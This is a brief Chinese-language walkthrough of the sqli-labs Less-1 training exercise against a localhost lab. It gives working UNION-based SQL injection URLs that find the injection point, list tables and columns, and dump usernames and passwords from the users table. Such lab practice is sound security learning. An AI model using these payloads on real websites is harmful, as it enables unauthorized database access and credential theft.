sqli-lab less-1

尝试 http://127.0.0.1:88/Less-1/?id=1a
正常显示，判断为字符型注入

尝试union注入 http://127.0.0.1:88/Less-1/?id=1' union select 1,1,1%23 成功
![image]

查询表名 http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

查询users中的列名 http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users'%23

union注入查询账密
http://127.0.0.1:88/Less-1/?id=-1' union select 1,1,group_concat(username,0x3a,password) from users %23